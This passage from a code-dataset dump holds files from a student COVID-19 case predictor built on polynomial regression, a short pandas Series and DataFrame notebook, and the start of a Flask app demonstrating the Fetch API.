parabola. We have tried using different degrees, but higher degrees usually makes the function vary a lot more, thus being more inacurate\r\n x_poly = poly_reg.fit_transform(x_new2) # Most commands related to polynomial regression were taken from here: https://towardsdatascience.com/a-beginners-guide-to-linear-regression-in-python-with-scikit-learn-83a8f7ae2b4f\r\n pol_reg = LinearRegression() # Adopted the commands for my use\r\n pol_reg.fit(x_poly, y2_new)\r\n\r\n\r\n future_x = [] # List for future dates\r\n predicted_y_perDay = [] # Predicted new cases per day\r\n predicted_y_total =[] # Predicted total cases\r\n\r\n # Machine learning part\r\n i = 1 \r\n while i<=LIMIT: \r\n i+=1\r\n random_list = [ x[len(x) - 1] + i ]\r\n random_array = np.array(random_list)\r\n random_array_reshaped = random_array.reshape(-1, 1)\r\n random_predicted_y_value = pol_reg.predict(poly_reg.fit_transform(random_array_reshaped))\r\n # Usually people train the data set before making a fit and predicting future data points, but since we didn't have a lot of data to begin with, we just used all the data\r\n if random_predicted_y_value >= 1:\r\n future_x.append(x[len(x) - 1] + i)\r\n predicted_y_perDay.append(int(random_predicted_y_value))\r\n\r\n else:\r\n break\r\n data['i'] = i\r\n if i> LIMIT:# possibility of a positive equation, which would be infinite\r\n print('unable to predict cases reliably')\r\n\r\n firstDay = data['totalCases'][-1]\r\n perDay1 = predicted_y_perDay.copy() # computes cases per day using total cases \r\n perDay2 = []\r\n\r\n for cases in range(len(perDay1)): # computes total cases per day\r\n if cases == 0:\r\n perDay2.append(firstDay + perDay1[cases])\r\n else:\r\n perDay2.append(perDay1[cases] + perDay2[cases-1])\r\n\r\n\r\n\r\n daysPredicted = []\r\n totalPredicted = []\r\n perDayPredicted = []\r\n \r\n\r\n daysPredicted = future_x\r\n totalPredicted = perDay2\r\n perDayPredicted = predicted_y_perDay\r\n\r\n\r\n data['daysPredicted'] = daysPredicted # gives computed data and returns it\r\n data['totalPredicted'] = totalPredicted\r\n data['perDayPredicted'] = perDayPredicted\r\n \r\n return data\r\n\r\n\r\n"},{"alpha_fraction":0.5817555785179138,"alphanum_fraction":0.5927711129188538,"avg_line_length":37.79452133178711,"blob_id":"b32c8f34607d92dafe6138437fde70c4879d90ea","content_id":"7d6b05abd51de02d52eb9102e4f7222c119276ce","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2905,"license_type":"no_license","max_line_length":181,"num_lines":73,"path":"/frontend/frontend.py","repo_name":"SimonTheWang/coronavirusGrapher","src_encoding":"UTF-8","text":"# from ..backend import getData\r\nfrom getData import *\r\nfrom machinelearning import *\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nLIMIT = 1000\r\ndef run():\r\n print('available countries are: ' + displayCountries(getCountries()) )\r\n country = (input('Select a country: '))\r\n status = input('Enter Status number (1 : (confirmed) , 2 : (recovered) , 3 : (deaths): ')\r\n\r\n possibleProvinceCity = (searchProvince(getData(country)))# searches for possible provinces and/or cities tied to the country\r\n\r\n possibleProvinces = ', '.join(list(possibleProvinceCity.keys()))\r\n\r\n if possibleProvinces:# makes additional inputs for province and/or cities if needed\r\n print('Available provinces are: ' + possibleProvinces)\r\n province = (input('Enter a province: ').title())\r\n possibleCities = ', '.join(list(possibleProvinceCity[province]))\r\n if possibleCities:\r\n print('Available cities are: ' + possibleCities)\r\n city = input('Enter a City')\r\n else:\r\n city = ''\r\n elif possibleProvinceCity['']:\r\n possibleCities = ', '.join(list(possibleProvinceCity[''].values()))\r\n print('Available cities are: ' + possibleCities)\r\n city = input('Enter a City') \r\n else:\r\n province = ''\r\n city = ''\r\n\r\n if province:# confirms input\r\n if city:\r\n print('Processing input of : Country: ' + country + ', Province: ' + province + ', City: ' + city)\r\n elif not city:\r\n print('Processing input of : Country: ' + country + ', Province: ' + province )\r\n else:\r\n print('Processing input of: ' +country)\r\n\r\n\r\n #sets the data\r\n data = machineLearning(parseData(getData(country,status),province, city))\r\n if data['daysPredicted']and data['type'] == 'confirmed':\r\n if data['i'] != LIMIT:\r\n print('expected resolution on day '+ str(data['daysPredicted'][-1]))\r\n\r\n x1 = (data['days'])\r\n x2 = data['daysPredicted']\r\n y1 = (data['totalCases'])\r\n y2 = (data['casesPerDay'])\r\n y11 = (data['perDayPredicted'])\r\n y22 = (data['totalPredicted'])\r\n\r\n # plot the data\r\n fig = plt.figure()\r\n ax = fig.add_subplot(1, 1, 1)\r\n if data['i'] != LIMIT:\r\n ax.plot(x2, y22,'--', color='tab:blue', label = 'predicted total cases')\r\n ax.plot(x2, y11,'--', color='tab:orange', label = 'predicted cases per day')\r\n plt.scatter(x1, y1,s= 1, color='tab:blue', label = 'total cases')\r\n plt.scatter(x1, y2,s = 1, color='tab:orange', label = 'cases per day')\r\n\r\n\r\n ax.set_xlabel('number of days')\r\n ax.set_ylabel(('cases of status : ' + data['type']))\r\n ax.legend()\r\n ax.set_title('# of cases of status: ' + data['type'] + ', with respect to time, starting from ' + data['day1'] +' in '+ data['province'] + data['city'] + ', ' + data['country'])\r\n\r\n # display the plot\r\n return plt.show()\r\n"},{"alpha_fraction":0.6023392081260681,"alphanum_fraction":0.719298243522644,"avg_line_length":11.285714149475098,"blob_id":"d3df4123d58811c2c7371cfea9c1c516599e5055","content_id":"a705198ce051c1444b11bca080f97746007599d1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":171,"license_type":"no_license","max_line_length":29,"num_lines":14,"path":"/frontend/app.py","repo_name":"SimonTheWang/coronavirusGrapher","src_encoding":"UTF-8","text":"\"\"\"\nSimon Wang, 1830099\nJun Hao Huang, 1830549\nMay 28, 2020\nVincent, instructor\nFinal Project\n\"\"\"\n\n\nfrom frontend import *\nfrom getData import *\nfrom machinelearning import *\n \nrun()"},{"alpha_fraction":0.7607843279838562,"alphanum_fraction":0.8068627715110779,"avg_line_length":100.80000305175781,"blob_id":"dff4d1e9fbbc5e76e64bd738297d7900671ffa12","content_id":"ac4221cc66d5fac89e0e99f409059fe74bc71566","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1020,"license_type":"no_license","max_line_length":683,"num_lines":10,"path":"/README.md","repo_name":"SimonTheWang/coronavirusGrapher","src_encoding":"UTF-8","text":"# coronavirusGrapher\nThe task of this project is to predict the end of new cases of COVID-19 mathematically using data provided from a coronavirus API and using machine learning. The program, written in python, allows for users to input their respective countries, if available within the database and then enter their desired city or province if necessary, to view a graphical representation of the evolution of covid-19 cases in the chosen area. The prediction is handled using polynomial regression, and displays a polynomial of degree 2 to generalize a tendency for the total cases and cases per day of the virus in the given area, which allows for users to predict the number of cases in the future.\n\nKey-words: Polynomial regression, COVID-19, Python, Machine Learning, Graph\n\n-NOTE, this project is was created in summer 2020, thus the next few waves have not been accounted for\n\n#Example use case\n\n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6187789440155029,\n \"alphanum_fraction\": 0.6256296634674072,\n \"avg_line_length\": 40.38461685180664,\n \"blob_id\": \"68f0ce0028741002ee53eef4b0434b0600440651\",\n \"content_id\": \"76a786000355ba876d9cb18cb4cc87a28ce2b352\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4963,\n \"license_type\": \"no_license\",\n \"max_line_length\": 318,\n \"num_lines\": 117,\n \"path\": \"/frontend/getData.py\",\n \"repo_name\": \"SimonTheWang/coronavirusGrapher\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\r\\nimport requests\\r\\nimport json\\r\\n\\r\\nAPIreference = ' refer to https://documenter.getpostman.com/view/10808728/SzS8rjbc?version=latest for more info'\\r\\nURL = \\\"https://api.covid19api.com/\\\"\\r\\n\\r\\ndef getCountries():\\r\\n ''' searches covid19api for available countries in their database '''\\r\\n response = requests.get(URL+'countries')\\r\\n data = response.json()\\r\\n return data\\r\\n\\r\\ndef displayCountries(data):\\r\\n ''' returns countries from getCountries as a list '''\\r\\n allCountries = []\\r\\n for country in data:\\r\\n allCountries.append(country[\\\"Country\\\"])\\r\\n data = ', '.join(allCountries)\\r\\n return data\\r\\n \\r\\ndef checkCountry(country):\\r\\n ''' Checks for validity of inputted Country, \\r\\n note that some countries marked as 'available' may return an error \\r\\n because the api does not currently have information on them.\\r\\n This function also returns the slug of a given country to make its request to the api easier'''\\r\\n for place in requests.get(URL+'countries').json():\\r\\n for each in place.items():\\r\\n if country.lower() == place['Country'].lower() or country.lower() == place['Slug'].lower() or country == place['ISO2'].lower():\\r\\n return place['Slug']\\r\\n raise ValueError ('cannot find response, your value \\\"' + country + '\\\" is not a valid country' + APIreference)\\r\\n\\r\\ndef getData(country, status = 'confirmed'):\\r\\n ''' makes a request to the api, using user inputs and checkCountry slug.\\r\\n returns a dictionary containing all the information from that area from day one of the outbreak there'''\\r\\n countryInput = 'country/' + checkCountry(country)\\r\\n if status == '1' or status == 'confirmed' or status == '':\\r\\n status = 'confirmed'\\r\\n elif status == '2' or status == 'recovered':\\r\\n status = 'recovered'\\r\\n elif status == '3' or status == 'deaths':\\r\\n status = 'deaths'\\r\\n else:\\r\\n raise ValueError ('Value \\\"'+ status + '\\\" is invalid, please enter a number between 1 and 3')\\r\\n\\r\\n\\r\\n status = 'status/' + status.lower()\\r\\n parameters = {\\r\\n }\\r\\n\\r\\n response = requests.get(URL+'dayone'+'/'+countryInput+'/'+status+'/'+'live',parameters)\\r\\n \\r\\n data = response.json()\\r\\n if data:\\r\\n return data\\r\\n else:\\r\\n raise ValueError ('Data for ' + country +' parsed as ' + countryInput +' is not found')\\r\\n\\r\\ndef searchProvince(data):# dictionary with keys '' or province names\\r\\n ''' Using data in getData(), returns a dictionary containing \\r\\n key-value pairs of Provinces and their cities, which are a set, for a country.\\r\\n If not present, the province will be replaced by '' '''\\r\\n place = {}\\r\\n place[''] = set()\\r\\n for datapoint in data:\\r\\n if datapoint['Province'] and datapoint['Province'] not in place.keys():\\r\\n place[datapoint['Province']] = set()\\r\\n\\r\\n if datapoint['City']:\\r\\n if place[datapoint['Province']]:\\r\\n place[datapoint['Province']].add(datapoint['City'])\\r\\n else:\\r\\n place[''].add(datapoint['City'])\\r\\n return place\\r\\n\\r\\ndef parseData(data,province='', city = ''):\\r\\n ''' Using data from getData() and user data, this returns a dictionary containing\\r\\n data on the given area, including the number of cases per day and the total cases per day, \\r\\n and returns an error if the province or city do not match with the country.'''\\r\\n days = []\\r\\n dates = []\\r\\n totalCases = []\\r\\n casesPerDay = []\\r\\n info = {}\\r\\n count = 0\\r\\n info['country'] = data[0]['Country'].capitalize()\\r\\n info['province'] = province.capitalize()\\r\\n info['city'] = city.capitalize()\\r\\n for subject in data:\\r\\n #appends data only for corresponding province-city\\r\\n if (((province and city and province.title() == subject['Province'].title() and city.title() == subject['City'].title())) or ((province and not city) and (province.title() == subject['Province'].title())) or ((not province and city and city.title() == subject['City'].title())) or (not province and not city)):\\r\\n totalCases.append(subject['Cases'])\\r\\n count+=1\\r\\n days.append(count)\\r\\n dates.append(subject['Date'])\\r\\n \\r\\n if count ==0:\\r\\n raise ValueError ( 'Your input of either city or province is invalid, the database does not contain \\\"'+ province+ city + '\\\" for ' + info['country'] + APIreference)\\r\\n info['totalCases'] = totalCases\\r\\n info['days'] = days\\r\\n info['dates'] = dates\\r\\n info['type'] = subject['Status']\\r\\n info['day1'] = ''.join((data[0])['Date'].split())[:-10]\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n previousTotalCases = totalCases.copy()# computes cases per day using total cases \\r\\n previousTotalCases.insert(0,0)\\r\\n afterTotalCases = totalCases.copy()\\r\\n afterTotalCases.append(0)\\r\\n for day1,day2 in zip(previousTotalCases,afterTotalCases):\\r\\n casesPerDay.append(day2-day1)\\r\\n casesPerDay.pop()\\r\\n info['casesPerDay'] = casesPerDay \\r\\n\\r\\n return info\\r\\n\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6417959928512573,\n \"alphanum_fraction\": 0.6569824814796448,\n \"avg_line_length\": 35.345680236816406,\n \"blob_id\": \"30127a26b1d415b0601c39805e35e8c05d846af3\",\n \"content_id\": \"8e345a80e150894aa44fbf71e089e672cca01873\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3029,\n \"license_type\": \"no_license\",\n \"max_line_length\": 225,\n \"num_lines\": 81,\n \"path\": \"/frontend/machinelearning.py\",\n \"repo_name\": \"SimonTheWang/coronavirusGrapher\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from getData import *\\r\\nimport pandas as pd \\r\\nimport numpy as np \\r\\nimport matplotlib.pyplot as plt \\r\\nimport seaborn as seabornInstance \\r\\nfrom sklearn.model_selection import train_test_split \\r\\nfrom sklearn.linear_model import LinearRegression\\r\\nfrom sklearn.preprocessing import PolynomialFeatures\\r\\nfrom sklearn import metrics\\r\\n\\r\\nLIMIT = 1000\\r\\ndef machineLearning(data):\\r\\n print('request received')\\r\\n x = data['days'].copy()\\r\\n y1 = data['totalCases'].copy()\\r\\n y2 = data['casesPerDay'].copy()\\r\\n\\r\\n x_new = np.array(x) # Transforms list into an array\\r\\n y2_new = np.array(y2)\\r\\n\\r\\n x_new2 = x_new.reshape(-1, 1) # Transforms 1d array into a 2d array\\r\\n y2_new = y2_new.reshape(-1, 1)\\r\\n\\r\\n\\r\\n\\r\\n poly_reg = PolynomialFeatures(degree = 2) # Degree 2 polynomial is a parabola. We have tried using different degrees, but higher degrees usually makes the function vary a lot more, thus being more inacurate\\r\\n x_poly = poly_reg.fit_transform(x_new2) # Most commands related to polynomial regression were taken from here: https://towardsdatascience.com/a-beginners-guide-to-linear-regression-in-python-with-scikit-learn-83a8f7ae2b4f\\r\\n pol_reg = LinearRegression() # Adopted the commands for my use\\r\\n pol_reg.fit(x_poly, y2_new)\\r\\n\\r\\n\\r\\n future_x = [] # List for future dates\\r\\n predicted_y_perDay = [] # Predicted new cases per day\\r\\n predicted_y_total =[] # Predicted total cases\\r\\n\\r\\n # Machine learning part\\r\\n i = 1 \\r\\n while i<=LIMIT: \\r\\n i+=1\\r\\n random_list = [ x[len(x) - 1] + i ]\\r\\n random_array = np.array(random_list)\\r\\n random_array_reshaped = random_array.reshape(-1, 1)\\r\\n random_predicted_y_value = pol_reg.predict(poly_reg.fit_transform(random_array_reshaped))\\r\\n # Usually people train the data set before making a fit and predicting future data points, but since we didn't have a lot of data to begin with, we just used all the data\\r\\n if random_predicted_y_value >= 1:\\r\\n future_x.append(x[len(x) - 1] + i)\\r\\n predicted_y_perDay.append(int(random_predicted_y_value))\\r\\n\\r\\n else:\\r\\n break\\r\\n data['i'] = i\\r\\n if i> LIMIT:# possibility of a positive equation, which would be infinite\\r\\n print('unable to predict cases reliably')\\r\\n\\r\\n firstDay = data['totalCases'][-1]\\r\\n perDay1 = predicted_y_perDay.copy() # computes cases per day using total cases \\r\\n perDay2 = []\\r\\n\\r\\n for cases in range(len(perDay1)): # computes total cases per day\\r\\n if cases == 0:\\r\\n perDay2.append(firstDay + perDay1[cases])\\r\\n else:\\r\\n perDay2.append(perDay1[cases] + perDay2[cases-1])\\r\\n\\r\\n\\r\\n\\r\\n daysPredicted = []\\r\\n totalPredicted = []\\r\\n perDayPredicted = []\\r\\n \\r\\n\\r\\n daysPredicted = future_x\\r\\n totalPredicted = perDay2\\r\\n perDayPredicted = predicted_y_perDay\\r\\n\\r\\n\\r\\n data['daysPredicted'] = daysPredicted # gives computed data and returns it\\r\\n data['totalPredicted'] = totalPredicted\\r\\n data['perDayPredicted'] = perDayPredicted\\r\\n \\r\\n return data\\r\\n\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5817555785179138,\n \"alphanum_fraction\": 0.5927711129188538,\n \"avg_line_length\": 37.79452133178711,\n \"blob_id\": \"b32c8f34607d92dafe6138437fde70c4879d90ea\",\n \"content_id\": \"7d6b05abd51de02d52eb9102e4f7222c119276ce\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2905,\n \"license_type\": \"no_license\",\n \"max_line_length\": 181,\n \"num_lines\": 73,\n \"path\": \"/frontend/frontend.py\",\n \"repo_name\": \"SimonTheWang/coronavirusGrapher\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# from ..backend import getData\\r\\nfrom getData import *\\r\\nfrom machinelearning import *\\r\\n\\r\\nimport numpy as np\\r\\nimport matplotlib.pyplot as plt\\r\\n\\r\\nLIMIT = 1000\\r\\ndef run():\\r\\n print('available countries are: ' + displayCountries(getCountries()) )\\r\\n country = (input('Select a country: '))\\r\\n status = input('Enter Status number (1 : (confirmed) , 2 : (recovered) , 3 : (deaths): ')\\r\\n\\r\\n possibleProvinceCity = (searchProvince(getData(country)))# searches for possible provinces and/or cities tied to the country\\r\\n\\r\\n possibleProvinces = ', '.join(list(possibleProvinceCity.keys()))\\r\\n\\r\\n if possibleProvinces:# makes additional inputs for province and/or cities if needed\\r\\n print('Available provinces are: ' + possibleProvinces)\\r\\n province = (input('Enter a province: ').title())\\r\\n possibleCities = ', '.join(list(possibleProvinceCity[province]))\\r\\n if possibleCities:\\r\\n print('Available cities are: ' + possibleCities)\\r\\n city = input('Enter a City')\\r\\n else:\\r\\n city = ''\\r\\n elif possibleProvinceCity['']:\\r\\n possibleCities = ', '.join(list(possibleProvinceCity[''].values()))\\r\\n print('Available cities are: ' + possibleCities)\\r\\n city = input('Enter a City') \\r\\n else:\\r\\n province = ''\\r\\n city = ''\\r\\n\\r\\n if province:# confirms input\\r\\n if city:\\r\\n print('Processing input of : Country: ' + country + ', Province: ' + province + ', City: ' + city)\\r\\n elif not city:\\r\\n print('Processing input of : Country: ' + country + ', Province: ' + province )\\r\\n else:\\r\\n print('Processing input of: ' +country)\\r\\n\\r\\n\\r\\n #sets the data\\r\\n data = machineLearning(parseData(getData(country,status),province, city))\\r\\n if data['daysPredicted']and data['type'] == 'confirmed':\\r\\n if data['i'] != LIMIT:\\r\\n print('expected resolution on day '+ str(data['daysPredicted'][-1]))\\r\\n\\r\\n x1 = (data['days'])\\r\\n x2 = data['daysPredicted']\\r\\n y1 = (data['totalCases'])\\r\\n y2 = (data['casesPerDay'])\\r\\n y11 = (data['perDayPredicted'])\\r\\n y22 = (data['totalPredicted'])\\r\\n\\r\\n # plot the data\\r\\n fig = plt.figure()\\r\\n ax = fig.add_subplot(1, 1, 1)\\r\\n if data['i'] != LIMIT:\\r\\n ax.plot(x2, y22,'--', color='tab:blue', label = 'predicted total cases')\\r\\n ax.plot(x2, y11,'--', color='tab:orange', label = 'predicted cases per day')\\r\\n plt.scatter(x1, y1,s= 1, color='tab:blue', label = 'total cases')\\r\\n plt.scatter(x1, y2,s = 1, color='tab:orange', label = 'cases per day')\\r\\n\\r\\n\\r\\n ax.set_xlabel('number of days')\\r\\n ax.set_ylabel(('cases of status : ' + data['type']))\\r\\n ax.legend()\\r\\n ax.set_title('# of cases of status: ' + data['type'] + ', with respect to time, starting from ' + data['day1'] +' in '+ data['province'] + data['city'] + ', ' + data['country'])\\r\\n\\r\\n # display the plot\\r\\n return plt.show()\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6023392081260681,\n \"alphanum_fraction\": 0.719298243522644,\n \"avg_line_length\": 11.285714149475098,\n \"blob_id\": \"d3df4123d58811c2c7371cfea9c1c516599e5055\",\n \"content_id\": \"a705198ce051c1444b11bca080f97746007599d1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 171,\n \"license_type\": \"no_license\",\n \"max_line_length\": 29,\n \"num_lines\": 14,\n \"path\": \"/frontend/app.py\",\n \"repo_name\": \"SimonTheWang/coronavirusGrapher\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nSimon Wang, 1830099\\nJun Hao Huang, 1830549\\nMay 28, 2020\\nVincent, instructor\\nFinal Project\\n\\\"\\\"\\\"\\n\\n\\nfrom frontend import *\\nfrom getData import *\\nfrom machinelearning import *\\n \\nrun()\"\n },\n {\n \"alpha_fraction\": 0.7607843279838562,\n \"alphanum_fraction\": 0.8068627715110779,\n \"avg_line_length\": 100.80000305175781,\n \"blob_id\": \"dff4d1e9fbbc5e76e64bd738297d7900671ffa12\",\n \"content_id\": \"ac4221cc66d5fac89e0e99f409059fe74bc71566\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1020,\n \"license_type\": \"no_license\",\n \"max_line_length\": 683,\n \"num_lines\": 10,\n \"path\": \"/README.md\",\n \"repo_name\": \"SimonTheWang/coronavirusGrapher\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# coronavirusGrapher\\nThe task of this project is to predict the end of new cases of COVID-19 mathematically using data provided from a coronavirus API and using machine learning. The program, written in python, allows for users to input their respective countries, if available within the database and then enter their desired city or province if necessary, to view a graphical representation of the evolution of covid-19 cases in the chosen area. The prediction is handled using polynomial regression, and displays a polynomial of degree 2 to generalize a tendency for the total cases and cases per day of the virus in the given area, which allows for users to predict the number of cases in the future.\\n\\nKey-words: Polynomial regression, COVID-19, Python, Machine Learning, Graph\\n\\n-NOTE, this project is was created in summer 2020, thus the next few waves have not been accounted for\\n\\n#Example use case\\n\\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2984090,"cells":{"repo_name":{"kind":"string","value":"Carlos-FerreiraJr/pandas"},"repo_url":{"kind":"string","value":"https://github.com/Carlos-FerreiraJr/pandas"},"snapshot_id":{"kind":"string","value":"fe76c6722c2761c9580dafcc655a5612a76f219e"},"revision_id":{"kind":"string","value":"f185926c706a81e74c89fd1671de89c0b72fa4a5"},"directory_id":{"kind":"string","value":"d7d34b274c3fc85f42a72ecb8a4af6df002950f3"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-17T05:13:18.058142","string":"2020-04-17T05:13:18.058142"},"revision_date":{"kind":"timestamp","value":"2019-01-18T18:06:18","string":"2019-01-18T18:06:18"},"committer_date":{"kind":"timestamp","value":"2019-01-18T18:06:18","string":"2019-01-18T18:06:18"},"github_id":{"kind":"number","value":166268785,"string":"166,268,785"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.45065397024154663,"alphanum_fraction":0.4946492314338684,"avg_line_length":7.842105388641357,"blob_id":"c2604797de44854bf0b5c30fbc5ec1da3471c979","content_id":"bc2dd1541442b61bf591a6b84d9b6a20dbd9b84b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":841,"license_type":"no_license","max_line_length":78,"num_lines":95,"path":"/pandas.py","repo_name":"Carlos-FerreiraJr/pandas","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### pandas\n\n# ##### imports\n\n# In[16]:\n\n\nimport pandas as pd\n\n\n# In[5]:\n\n\nimport numpy as np\n\n\n# In[3]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# <br>\n\n# ##### series dict\n\n# In[4]:\n\n\ndata = {'b':5,'c':6,'a':3}\n\n\n# In[5]:\n\n\ny = pd.Series(data)\n\n\n# <br>\n\n# ##### series ndarray\n\n# In[6]:\n\n\nx = pd.Series(np.random.randn(5))\n\n\n# In[34]:\n\n\nz = pd.Series([4,2,8],index = ['a','b','c'],name='myArray')\n\n\n# ###### scalar value\n\n# In[ ]:\n\n\na = pd.Series(6.,index = ['a','b','c','d','e','f'])\n\n\n# <br>\n\n# ##### DataFrame\n\n# In[63]:\n\n\nframe = np.zeros((3,), dtype=[('first','i4'),('Second','f4'),('third','a30')])\n\n\n# In[65]:\n\n\nframe[:] = [(1,2.,'Hello'),(2,3.,'world'),(3,4,('friday'))]\n\n\n# <br>\n\n# In[76]:\n\n\npd.DataFrame(frame)\n\n\n# <br>\n\n# In[82]:\n\n\npd.DataFrame(frame,index=['FColumn','SCColumn','TCColumn'])\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.45065397024154663,\n \"alphanum_fraction\": 0.4946492314338684,\n \"avg_line_length\": 7.842105388641357,\n \"blob_id\": \"c2604797de44854bf0b5c30fbc5ec1da3471c979\",\n \"content_id\": \"bc2dd1541442b61bf591a6b84d9b6a20dbd9b84b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 841,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 95,\n \"path\": \"/pandas.py\",\n \"repo_name\": \"Carlos-FerreiraJr/pandas\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# coding: utf-8\\n\\n# ### pandas\\n\\n# ##### imports\\n\\n# In[16]:\\n\\n\\nimport pandas as pd\\n\\n\\n# In[5]:\\n\\n\\nimport numpy as np\\n\\n\\n# In[3]:\\n\\n\\nimport matplotlib.pyplot as plt\\n\\n\\n# <br>\\n\\n# ##### series dict\\n\\n# In[4]:\\n\\n\\ndata = {'b':5,'c':6,'a':3}\\n\\n\\n# In[5]:\\n\\n\\ny = pd.Series(data)\\n\\n\\n# <br>\\n\\n# ##### series ndarray\\n\\n# In[6]:\\n\\n\\nx = pd.Series(np.random.randn(5))\\n\\n\\n# In[34]:\\n\\n\\nz = pd.Series([4,2,8],index = ['a','b','c'],name='myArray')\\n\\n\\n# ###### scalar value\\n\\n# In[ ]:\\n\\n\\na = pd.Series(6.,index = ['a','b','c','d','e','f'])\\n\\n\\n# <br>\\n\\n# ##### DataFrame\\n\\n# In[63]:\\n\\n\\nframe = np.zeros((3,), dtype=[('first','i4'),('Second','f4'),('third','a30')])\\n\\n\\n# In[65]:\\n\\n\\nframe[:] = [(1,2.,'Hello'),(2,3.,'world'),(3,4,('friday'))]\\n\\n\\n# <br>\\n\\n# In[76]:\\n\\n\\npd.DataFrame(frame)\\n\\n\\n# <br>\\n\\n# In[82]:\\n\\n\\npd.DataFrame(frame,index=['FColumn','SCColumn','TCColumn'])\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2984091,"cells":{"repo_name":{"kind":"string","value":"ArdyTheRobot/FlaskFetch"},"repo_url":{"kind":"string","value":"https://github.com/ArdyTheRobot/FlaskFetch"},"snapshot_id":{"kind":"string","value":"75431ee914ac4352e492e153b4b121f75c8158ee"},"revision_id":{"kind":"string","value":"2707a4f729a4cab88ce22209dfe36b348a48d44f"},"directory_id":{"kind":"string","value":"78bf011b3ff3d98b96dc200603b1a33f7ed7f1a5"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-01-05T01:50:08.491700","string":"2023-01-05T01:50:08.491700"},"revision_date":{"kind":"timestamp","value":"2020-10-26T19:40:13","string":"2020-10-26T19:40:13"},"committer_date":{"kind":"timestamp","value":"2020-10-26T19:40:13","string":"2020-10-26T19:40:13"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5829629898071289,"alphanum_fraction":0.5918518304824829,"avg_line_length":27.125,"blob_id":"26d2ce89190862fdcaeb9fbe366ee301b503a84b","content_id":"62b3c08244bd91e970828e02123b4f1bf826acdb","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1350,"license_type":"permissive","max_line_length":112,"num_lines":48,"path":"/app.py","repo_name":"ArdyTheRobot/FlaskFetch","src_encoding":"UTF-8","text":"# app.py\nfrom flask import Flask, jsonify, request, render_template\napp = Flask(__name__)\n\n######## Example data, in sets of 3 ############\ndata = list(range(1,300,3))\nprint (data)\n\n\n\n######## HOME ############\n@app.route('/')\ndef test_page():\n example_embed='Sending data... [this is text from python]'\n # look inside `templates` and serve `index.html`\n return render_template('index.html', embed=example_embed)\n\n\n######## Example fetch ############\n@app.route('/test', methods=['GET', 'POST'])\ndef testfn():\n # POST request\n if request.method == 'POST':\n print(request.get_json()) # parse as JSON\n return 'OK', 200\n # GET request\n else:\n message = {'greeting':'Hello from Flask!'}\n return jsonify(message) # serialize and use JSON headers\n\n\n######## Data fetch ############\n@app.route('/getdata/<transaction_id>/<second_arg>', methods=['GET','POST'])\ndef datafind(transaction_id,second_arg):\n # POST request\n if request.method == 'POST':\n print('Incoming..')\n print(request.get_text()) # parse as text\n return 'OK', 200\n # GET request\n else:\n message = 't_in = %s ; result: %s ; opt_arg: %s'%(transaction_id, data[int(transaction_id)], second_arg)\n return message #jsonify(message) # serialize and use JSON headers\n\n\n\n# run app\napp.run(debug=True)\n"},{"alpha_fraction":0.7124999761581421,"alphanum_fraction":0.746874988079071,"avg_line_length":21.85714340209961,"blob_id":"6b60b7ddcb8d8a230d7d3793cbc804e400809cd6","content_id":"8a4dd2fb42b1bba0ba94fca798369dd44ffdfafb","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":320,"license_type":"permissive","max_line_length":101,"num_lines":14,"path":"/README.md","repo_name":"ArdyTheRobot/FlaskFetch","src_encoding":"UTF-8","text":"# FlaskFetch\nUsing the Fetch API to communicate between flask and a served 